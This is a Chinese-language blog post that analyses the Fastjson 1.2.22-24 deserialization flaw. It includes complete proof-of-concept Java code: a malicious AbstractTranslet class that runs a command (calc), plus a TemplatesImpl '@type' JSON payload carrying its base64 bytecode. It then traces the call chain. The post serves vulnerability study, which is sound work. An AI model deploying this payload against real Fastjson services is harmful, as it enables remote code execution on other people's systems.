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Fastjson 1.2.22-24 反序列化漏洞分析

最近在学习Java安全,感觉反序列化很牛皮,所以就来学习一哈。我Java水平不咋地,文章如果有错请指正。

开始

0x00 简单介绍

介绍:FastJson是一款由阿里开发的JSON库影响版本:1.2.22-24官方通告:https://github.com/alibaba/fastjson/wiki/security_update_20170315补丁:https://github.com/alibaba/fastjson/commit/d075721cf396d5cb70e24c824b901e3a9a5b342b

FastJson的简单使用

先通过一个简单的demo来熟悉一下FastJson的基本操作。首先创建一个Student类,Student.java:

package ka1n4t.test;public class Student { public String name; private int age; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; }}

Students有一个公有属性name和一个私有属性age。下面使用一个测试类,将json字符串反序列化成Student对象,learnFJ.java:

package ka1n4t.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.JSONObject;public class learnFJ { public static void main(String args[]) { String text = "{"@type":"ka1n4t.test.Student","name":"ZhangSan","age":123}"; Student obj1 = JSON.parseObject(text, Student.class, Feature.SupportNonPublicField); System.out.println(obj1.getName()); }}

结果:

0x01 原理分析

分析POC

先看一下用于反序列化的恶意类evilClass1.java:

package ka1n4t.poc;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class evilClass1 extends AbstractTranslet/*ka1n4t*/ { public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public evilClass1() throws IOException { Runtime.getRuntime().exec("calc"); } public static void main(String[] args) throws IOException { evilClass1 helloworld = new evilClass1(); }}

其中的构造方法是用exec弹个计算器。看下poc,vulApp1.java:

package ka1n4t.poc;import org.apache.commons.io.IOUtils;import org.apache.commons.codec.binary.Base64;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException;public class vulApp1 { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } String result = Base64.encodeBase64String(bos.toByteArray()); return result; } public static void bad_method() { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); String evil_path = "D:\Java-App\fastjson-1.2.22\target\classes\ka1n4t\poc\evilClass1.class"; String evil_code = readClass(evil_path); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{"@type":"" + NASTY_CLASS + "","_bytecodes":[""+evil_code+""]," + ""_name":"a.b"," + ""_tfactory":{ }," + ""_outputProperties":{ }}"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } public static void main(String args[]) { bad_method(); }}

核心部分:

String text1 = "{"@type":"" + NASTY_CLASS + "","_bytecodes":[""+evil_code+""]," + ""_name":"a.b"," + ""_tfactory":{ }," + ""_outputProperties":{ }}";Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

_bytecodes是经过base64编码的evilClass1的字节码文件,NASTY_CLASS是TemplatesImpl类。总结一下这个payload,利用JSON.parseObject反序列化TemplatesImpl类,其中_bytecodes属性是经过base64编码的恶意类字节码文件。

调试分析

下面来分析一下反序列化TemplatesImpl的调用链,首先调用其getOutputProperties()方法:

然后下面经过java的反射机制,然后到达TemplatesImpl类:

跟进newTransformer()方法,这个方法是用于创建一个Transformer实例。然后到达getTransletInstance()方法:

getTransletInstance()方法用于创建一个translet实例,返回这个translet给newTransformer(),然后被包裹成Transformer对象。跟进一下这个方法,发现其调用了defineTransletClasses()用来加载_bytecodes中的类,接着又调用了_class[_transletIndex].newInstance()将defineTransletClasses()返回的类进行实例化:

先跟进一下defineTransletClasses方法:

可以看到,使用了loader.defineClass()方法用于加载_bytecodes的内容,并将返回的类赋值给_class[i](这里的i是0)。loader是TemplatesImpl自定义的类,跟进一下:

可以看到TransletClassLoader继承了Java类加载器—ClassLoader类,跟进其defineClass方法,发现直接调用了父类ClassLoader中的方法,所以就不再跟进了。

回到defineTransletClasses方法,其间接调用ClassLoader加载_bytecodes中的内容之后,将加载出来的类赋值给_class[0],然后结束,回到getTransletInstance方法,再看一下图:

可以看到,455行直接使用了_class[0].newInstance()创建实例,创建的过程中调用了evilClass1构造方法,然后触发了payload:

0x02 复现过程

从github上直接pull下poc:https://github.com/shengqi158/fastjson-remote-code-execute-poc。使用idea打开工程,编译test.java:

然后会在target/classes/person下生成test.class文件。用同样的方法编译Poc.java。

配置运行方式

运行Poc:

0x03 参考文章

1.廖新喜 fastjson 远程反序列化poc的构造和分析2.Freebuf Fastjson 1.2.24反序列化漏洞分析

欢迎阅读本文章: 贾艳利

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